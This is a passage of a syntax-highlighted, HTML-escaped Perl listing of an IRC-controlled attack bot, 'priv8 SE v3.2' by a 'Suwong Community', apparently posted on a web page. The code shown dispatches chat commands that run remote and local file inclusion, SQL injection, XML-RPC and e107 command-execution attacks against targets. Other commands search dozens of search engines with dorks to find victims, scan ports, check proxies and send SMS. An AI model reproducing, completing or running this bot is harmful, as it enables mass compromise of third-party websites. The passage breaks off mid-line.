#0000ff&quot;&gt;eval&lt;/span&gt; &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$1&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;333:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;334:         ##################################################################### HIT&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;335: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;336:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;337:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $url = $1.$lfdtest;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;338:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmd = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;339:           &amp;amp;cmdlfi($url,$cmd,$path);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;340:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;341:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;342:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $url = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;343:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmd = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;344:           &amp;amp;cmdxml($url,$cmd,$path);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;345:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;346:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^$cmde107\s+(.+?)\s+(.*)/){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;347:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $url = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;348:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmd = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;349:           &amp;amp;cmde107($url,$cmd,$path);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;350:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;351:         &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;352:         ##################################################################### SMS&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;353:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!sms\s+(.*?)\s+(.*)/){    &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;354:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $&lt;span style=&quot;color: #0000ff&quot;&gt;no&lt;/span&gt;    = $1;    &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;355:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $pesan = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;356:           &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(sendSMS($&lt;span style=&quot;color: #0000ff&quot;&gt;no&lt;/span&gt;,$pesan)){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;357:             &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$smslogo 9Sukses mengirim ke 4 &lt;/span&gt;&amp;quot;.$&lt;span style=&quot;color: #0000ff&quot;&gt;no&lt;/span&gt;.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;9 Pengirim : 4 &lt;/span&gt;&amp;quot;.$nick);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;358:           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;359:           &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;360:             &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$smslogo 4 GAGAL!!&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;361:           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;362:         }  &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;363: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;364:                 ##################################################################### HELP COMMAND&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;365: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;366:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!help/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;367:                     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $helplogo = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;3(4@13HelP3)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;368:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$helplogo 11 ########################4[ Suwong Community ]11############################&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;369:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$helplogo 8 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd|$ossqlcmd|$esqlcmd [bug][dork])&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;370:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$helplogo 13 ( $cmde107|$cmdlfi|$cmdxml) [target][cmd]|!sms[no][pesan] )&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;371:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$helplogo 6 ( $e107cmd | $zencmd | $oscocmd | $admcmd | $opcmd [dork] ) &lt;/span&gt;&amp;quot;);&lt;span style=&quot;color: #0000ff&quot;&gt;sleep&lt;/span&gt;(2);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;372:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$helplogo 3 ( !login [web]|!port [ip][port]|!base64 [data]|!ip [ip]|!dns [host] )&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;373:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$helplogo 5 ( !about|!engine|!version|!proxy [3digit]|!paypal [email] )&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;374:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$helplogo 11 ######################4[ END HELP ]11#########################&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;375:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;376:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!engine/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;377:                     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $enginelogo = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9EnginE15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;378:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$enginelogo 4 GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;379:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$enginelogo 4 WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;380:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$enginelogo 4 BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;381:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;382:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!about/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;383:                     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $aboutlogo = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9About15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;384:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$aboutlogo 12Suwong Community&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;385:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$aboutlogo 4CoDeD Jancok&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;386:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$aboutlogo 6MoD by Suwong Team&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;387:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;388:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!version/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;389:                     &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $versionlogo = &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9Version15)&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;390:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$versionlogo 12 priv8 SE v3.2&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;391:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;392:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!respon/ || $msg=~ /^!id/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;393:                     &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isFound($injector,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;R29hQ3JlVw==&lt;/span&gt;&amp;quot;)) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;394:                         &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9Injector15)4 OFF!!!&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;395:                     } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;396:                         &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9Injector15)8 OFF!!!&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;397:                     }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;398:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;399:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!pid/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;400:                     &amp;amp;notice(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$nick&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;9Rondoe Process/PID : 3$Rondoeproc - $$&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;401:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;402:         ##################################################################### TOOLS&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;403:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!proxy\s+(.+)/){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;404:           &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $pid = &lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;waitpid&lt;/span&gt;($pid, 0); } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;405:             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&lt;span style=&quot;color: #0000ff&quot;&gt;fork&lt;/span&gt;) { &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;; } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;406:             &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $minta = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;407:                     &amp;amp;msg(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;15(4@9PROXY15)13 Checking Proxy..&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;408:           &amp;amp;proxy($path,$minta);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;409:             }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;410:             &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;411:           }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;412:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;413: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;414:                                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg=~ /^!dns\s+(.*)/){ &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;415:                            &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $nsku = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;416:                            $mydns = inet_ntoa(inet_aton($nsku));&lt;br /&gt;&lt;/pre&gt;&lt;pre 